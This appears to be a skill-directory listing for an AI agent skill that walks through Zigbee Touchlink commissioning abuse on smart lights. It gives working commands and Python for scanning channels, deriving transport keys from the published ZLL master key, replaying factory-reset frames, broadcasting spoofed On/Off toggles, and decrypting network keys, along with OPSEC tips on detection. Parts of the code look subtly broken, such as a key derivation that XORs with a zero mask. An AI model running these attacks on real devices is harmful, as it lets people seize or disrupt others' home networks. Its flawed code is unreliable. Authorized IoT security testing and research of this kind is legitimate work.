# Zigbee Touchlink

> Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.

- Skill: `purpleailab/zigbee-touchlink` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/zigbee-touchlink`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/zigbee-touchlink/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/zigbee-touchlink

---


# Zigbee Touchlink Commissioning Abuse

> Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism
> intended for close-proximity pairing (≤20 cm). The procedure relies on
> a well-known, publicly documented transport key (ZLL Master Key published
> in the ZigBee Light Link spec). In practice it works at distances of
> several metres with a directional antenna, allowing an attacker to steal
> devices off an existing coordinator, factory-reset smart bulbs, or inject
> ZCL commands without joining the network.

## Prerequisites

- **Hardware**: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or
  sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based).
  For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
- **Firmware options**:
  - Sniffer: flash `CC2531_sniffer.hex` / `cc2652_sniffer.hex` (TI) — Wireshark
    source, passive.
  - Attack: flash `coordinator_20230507.hex` from Z-Stack 3.x — gives full TX.
- **Software**: KillerBee suite, Scapy with `scapy-radio`, Python 3.x.

```bash
# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid
```

## Phase 1: Passive Channel Scan (zbstumbler)

```bash
# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt

# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap

# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo  # after running zbwireshark -i /dev/ttyUSB0 -c 15
```

Key fields to identify in pcap:
- **Frame Control** = `0x8841` (Data, ZigBee, PAN compress)
- **Cluster ID** = `0x1000` (ZLL Commissioning cluster)
- **Command ID** = `0x00` (Scan Request), `0x01` (Scan Response), `0x07` (Touchlink Reset)

## Phase 2: Decode the ZLL Well-Known Transport Key

The ZLL Master Key (published in Zigbee spec 11-0037-10) is:

```
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D
```

Derive per-device transport key:

```python
from Crypto.Cipher import AES

ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")

def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
    """
    ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
    Per ZigBee Lighting Profile spec section 8.7.
    """
    data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
                                        b'\x00' * 8 + b'\x00' * 8))
    cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
    return cipher.encrypt(data)

# transaction_id and response_id come from the Scan Request / Scan Response frames.
```

## Phase 3: Touchlink Scan + Factory Reset

KillerBee includes `zbtouchlink` (or use the custom script below):

```bash
# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper

# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"

kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()

print(f"[*] Listening on channel {CHANNEL}...")
while True:
    frame = kb.pnext()
    if frame and frame[0]:
        data = frame[0]
        # Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
        if len(data) > 20:
            print(f"[+] Frame: {data.hex()}")
EOF
```

Factory reset via `zbreplay` / custom ZLL Reset-to-factory-new:

```bash
# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap

# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15
```

## Phase 4: ZCL Command Injection (no network join required)

ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast
with the source address spoofed. No association to the PAN is required for
broadcast delivery on 802.15.4.

```python
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers

# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
    Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
            dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) /
    ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,
              destination=0xFFFF, source=0x1234, radius=1) /
    ZigbeeAppDataPayload(frametype=1, cluster=0x0006,
                         profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) /
    bytes([0x01, 0x00, 0x02])  # ZCL: frame ctrl, seq, cmd=Toggle
)
# send via scapy raw socket on the 802.15.4 interface
```

Known ZCL attack payloads:

| Cluster | Command | Effect |
|---|---|---|
| 0x0006 On/Off | 0x02 Toggle | Flip all lights |
| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |
| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |
| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |

## Phase 5: Network Key Extraction via Touchlink

If a Touchlink inter-PAN key transport message is captured, the encrypted
NWK key can be decrypted using the derived transport key:

```python
from Crypto.Cipher import AES

def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:
    cipher = AES.new(transport_key, AES.MODE_ECB)
    # ZLL key transport uses AES-ECB on the 16-byte encrypted key material.
    return cipher.decrypt(encrypted_key)
```

With the plaintext NWK key, decrypt all subsequent traffic in Wireshark:
- Edit → Preferences → Protocols → ZigBee → Add decryption key.

## Evidence

```bash
EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zigbee_ch15.pcap "$EVIDENCE/"
cp /tmp/zigbee_stumble.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
```

```python
kg_add_node(
    kind="finding",
    label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}",
    props={
        "key": f"zigbee-touchlink::{pan_id}",
        "pan_id": pan_id,
        "channel": channel,
        "nwk_key_hex": nwk_key.hex() if nwk_key else None,
        "touchlink_reset_success": True,
        "source": "killerbee+scapy",
    },
)
```

## OPSEC Notes

- Factory-reset is destructive and visible — the device drops off the
  coordinator immediately. Only perform when explicitly authorized.
- ZCL broadcast toggle is detectable by the coordinator as spurious
  traffic from an unregistered source address.
- Passive sniffing (zbdump) has zero RF footprint beyond receive.
- Touchlink operates in inter-PAN mode: you do NOT need to join the target's
  PAN to send or receive ZLL commissioning frames.
- Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11
  (2.405 GHz) is common for home automation. Always scan 11-26.

## References

- KillerBee: https://github.com/riverloopsec/killerbee
- Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10.
- Ronen et al. "IoT Goes Nuclear" (2016) — Hue worm via Touchlink at 100m range.
- Sonoff Zigbee 3.0 Dongle-E firmware: https://github.com/Koenkk/Z-Stack-firmware

